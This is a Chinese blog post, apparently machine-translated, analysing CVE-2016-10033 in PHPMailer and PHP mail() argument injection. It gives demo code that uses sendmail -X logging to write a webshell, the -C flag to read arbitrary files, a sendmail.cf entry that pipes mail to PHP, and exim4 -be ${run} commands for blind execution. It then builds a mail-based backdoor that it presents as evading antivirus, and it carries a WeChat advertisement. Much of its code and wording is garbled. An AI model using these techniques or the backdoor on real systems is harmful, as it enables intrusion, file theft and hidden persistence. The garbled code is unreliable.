php漏洞是什么原因 从一个有趣的漏洞分析到一个有趣的PHP后门
起因事情的起因很有趣,前几天我正对着电脑发呆的时候,突然有个安全交流群的群友来找我交流一个问题大概的意思就是,他在挖SRC的时候,发现一处资产存在目录遍历漏洞,它通过这个漏洞,找到目标资产使用了一个名
顺晟科技
2023-02-26 08:51:02
77
的起因很有意思。前几天我对着电脑发呆的时候,突然有一群安全交流群的朋友来找我聊一个问题。
他在挖SRC的时候,发现了一个资产的目录遍历漏洞。通过这个漏洞,他发现目标资产使用了一个叫phpmailer的中间件(应该和中间件差不多),问我有没有办法使用。我查了这个组件的漏洞信息。最新的漏洞好像是在6.5.0版本之前。
可惜群友的版本是6.5.1,就是不能用。
我找不到和版本匹配的洞也没关系。抱着学习的心态,我还是看了看其历史漏洞的成因。本来不知道,但是看了之后学到了一些有趣的新知识,所以才有了这篇文章。
CVE-2016-10033是Phpmailer见过的最经典的漏洞。在本文正式开始之前,我们先简单分析一下这个漏洞。读者可以去:
https://github.com/opsxcq/exp.
见phpmailer的代码。让我们开门见山地说吧。造成漏洞的原因其实在于mail()函数的第五个参数。只要控制第五个参数,我们就可以执行RCE、文件读取等操作。因此,让我们首先跟踪mail()函数:
所以我们可以先定位mailPassthru()的方法。可以看到,这个方法在内部使用了mail(),maill的第五个参数也是mailPassthru()的第五个参数。
【-帮助网安学习,将VX添加到以下所有学习资料:yj009991,获得备注“否”!】
网安学习成长路径思维导图
60个网络安全经典常用工具包
100 SRC漏洞分析报告
网络安全攻防技术电子书150本。
最权威的CISSP认证考试指南题库。
1800多页的CTF实用技能手册。
网安工厂面试问题最新合集(含答案)
8 App客户端安全检测指南(安卓IOS)
因此,我们来看看还有没有其他使用mailPassthru()的地方。我们可以发现,这个maillSend()方法中使用了mailPassthru(),第五个参数$params来自于当前类中的Sender属性。
###
然后让我们回到Sender属性,看看我们可以在哪里控制Sender属性。
正如您在这里看到的,在setFrom方法中,可以分配Sender属性。
当然,这个漏洞的另一个关键点是validateAddress()的绕过,这也是CVE-2016-10033的精彩之处。
但并不符合本文的重点,就不深入分析这一块了,有兴趣的读者可以拓展阅读:
https://paper.seebug.org/161/
现在我们知道了Sender这个关键属性是如何赋值的,接下来我们继续分析mailSend()方法的调用链,找到postSend()方法。
继续看postSend(),最后可以找到Send()方法。
此后,我们分析了该漏洞的整个参数传输过程。一般来说,我们只要用setFrom()方法给Sender属性赋值,然后调用send()方法。然后Sender属性的值会进入mail()函数的第五个参数,从而实现RCE。看到这里,很多读者一定对开头提到的mail()函数的第五个参数很感兴趣。为什么RCE可以通过控制它来实现?这就引出了php。
中mail()函数的实现原理。
mail()函数是php定义的发送邮件的函数,支持的参数如下:
为什么一个发送邮件的功能会导致RCE?前人的安全研究经验已经告诉了我们答案。Php的mail()函数实际上调用的是linux下的sendmail命令。因为sendmail支持一些有趣的参数,这样做危害更大。
写日志引起的RCE
那么上面提到的内容,我们首先要介绍的是sendmaill的x和o参数,它们的作用如下:
-X logfile:指定一个文件来记录邮件发送的详细日志。
-O option=value:临时设置邮件存储的临时位置。
看到大部分读者应该能立即反应过来,我们可以指定一个文件来存储邮件发送的日志,这样我们就可以写一个log getshell了。这也是事实。了解这些信息后,让我们回头看看mail()函数支持的第五个参数:
没错,我们可以用这第五个参数来控制sendmail的额外参数,这样就可以控制x的参数值了,不是吗?我们可以用下面的演示来测试:
?服务器端编程语言(Professional Hypertext Preprocessor的缩写)
$ to=' la 2 ur 1 te @ b . c '
$subject='php系统(' whoami ');'//任何你想执行的php代码。
$message='php系统(' ls。/');'//同上
$ headers=“”;
$ addtionparam='-f la2ur 1te @ 1-OQueueDirectory=/tmp/
-X/var/www/html/1 . PHP '
//假设我们知道目标站点的绝对路径。
mail($to,$subject,$message,$headers,$ param);
?
例如,我在自己的服务器上运行以下代码。我们假设网站的根目录是/root/。让我们运行上面的代码,看看会发生什么。重现的时候一定要安装sendmail,否则没用。
运行之后,我们确实在根目录下找到了一个名为testmail.php的文件。
让我们看看它是什么:
其实他有很多内容,都是日志文件。但是看看箭头所指的地方,毫无疑问,我们的代码已经写好了。这时,如果我们用php再次执行这个testmail.php,注意前后的区别。
当前用户是root,当前目录中只有testmail.php和test.php。毫无疑问,我们的恶意代码已经被成功执行了。
综上所述,如果我们知道目标网站的绝对路径,目标网站在linux环境下,php底层使用sendmail发送邮件(默认),那么我们就可以使用mail()函数执行写入日志文件的GETSHELL。
读取配置文件导致的任何文件读取。
这个函数的乐趣还不止于此,它还可以用来读取任何文件。我们来修改一下上面的演示。
请注意,这里我们使用了-C参数,后跟我们想要读取的文件。这样就可以直接读取任何文件了!
如下图,直接读取文件。
(3)使用配置文件执行代码的高级技能。
想象一下这样一个不正常的情况,整个网站,假设我们只有一个点可以写文件,并且有非常严格的过滤。这个时候可以通过邮件()操作吗?先说一下sendmail命令的特点。默认情况下,sendmail-mta将用于解析要发送的电子邮件的内容。其实我们有一个办法,可以覆盖sendmail的解析配置,让它用php解析我们要发送的邮件内容,从而直接完成命令执行。
我们首先转到/etc/mail/sendmail.cg,复制它的内容。然后在其内容的末尾添加以下配置:
Mlocal,P=/usr/bin/php,F=lsDFMAw5:/|@qPn9S,S=EnvFromL/HdrFromL,
R=EnvToL/HdrToL,
T=DNS/RFC822/X-Unix,
a=PHP-$ u $ h $ {客户端地址}
将这个新文件命名为sendmail _ cf。
然后我们执行下面的命令,因为这个东西不能被回显,所以我们还是让它创建几个新文件:
(高手们,恭喜发财,新年快乐。)
执行上述代码后。可以看到tmp目录里多了一个xnklgxfc(提前祝高手们新年快乐,恭喜发财)
熟练掌握Exim4中的mail()函数操作。
因为这里环境配置不好,演示不成功,所以用了其他高手的成果。
mail()函数的底层是sendmail命令,但有时也可能是exim4命令。比如在ubuntu/debain中,sendmail其实是软连接到exim4的。换句话说,我们有了新的姿态(exim4的各种参数和操作都不一样)。
这里我们引入一个-be参数,它与exim4中的运行扩展模式参数有关。这个参数支持我们键入很多操作,例如:
-be $ { run { command args } { string 1 } { string 2 } }
//执行command命令args,成功返回string1,失败返回string2。
-be $ { substr { string 1 } { string 2 } { string 3 } }
//截取string,在string3中,string2字符是从string1中截取的。
-be $ { readfile {文件名}{eol字符串}}
//读取文件文件名,除以eol字符串。
-be $ { read socket { name } { request } { time out } { eol
string } {失败字符串}}
//发送一个socket消息,消息内容为request。
可以,你可以发现这个东西可以直接执行(不需要写日志文件getshell),虽然不能回显,但是打个壳简单。并且仍然可以从任何文件中读取。而且最可笑的是,substr可以用来拦截字符串,会支持我们做很多绕过WAF的操作。
如上所述,在学习繁衍后代的过程中,我无话可说但又觉得NB。它的各种特性不禁让我怀疑它是否有成为后门的潜力。可以实现普通linux环境下的日志getshell和任意文件读取。在其他特定情况下,它也可以执行命令而没有回音。而且是一个正常的功能,普通的开发者和安全人员可能不会认为这样一个无害的邮件发送功能能造成什么伤害。抱着这种心态,我第一次简单地实现了这样一个功能:
$e的纯文本是:-f la 2 ur 1 te @ 1-oqueuedirectory=/tmp/
-X/root/mailshell.php
$a/$b/$c/$d的内容都是phpshell。让我们在实际环境中尝试一下,看看能否成功达到我们刚刚演示的效果。如果操作成功,应该会在根目录中生成mailshell.php。
如图所示,mailshell.php生成成功。
它的内容是php的一句话。
所以我们继续改造这个后门,让它更可控。根据上面的总结,我们可以知道我们只需要控制第五个参数,所以我们的变换也很简单:
这个后门最终能达到的效果包括但不限于:Linux环境下的任意文件写入(get shell);Linux环境下的任意文件读取。
(3)在特定环境下(比如mail()使用exim4或者软连接到exim4)命令执行和代码执行没有回音。
截至本文发表时,这种结构极其简单的后门仍然具有良好的免杀能力:
这篇文章之所以是炒冷饭,是因为安全圈至少在2016年之前就已经知道了mail()函数带来的危害。而更深入的身法运用,是17、18年的大师们(吕蒙大师、安恒大师)总结出来的。对我来说,孟新真是大开眼界。果然,漏洞的再现一定要及时,否则很容易错过很多有趣的知识。
请点击此处获取更多网络安全技能的在线实践练习。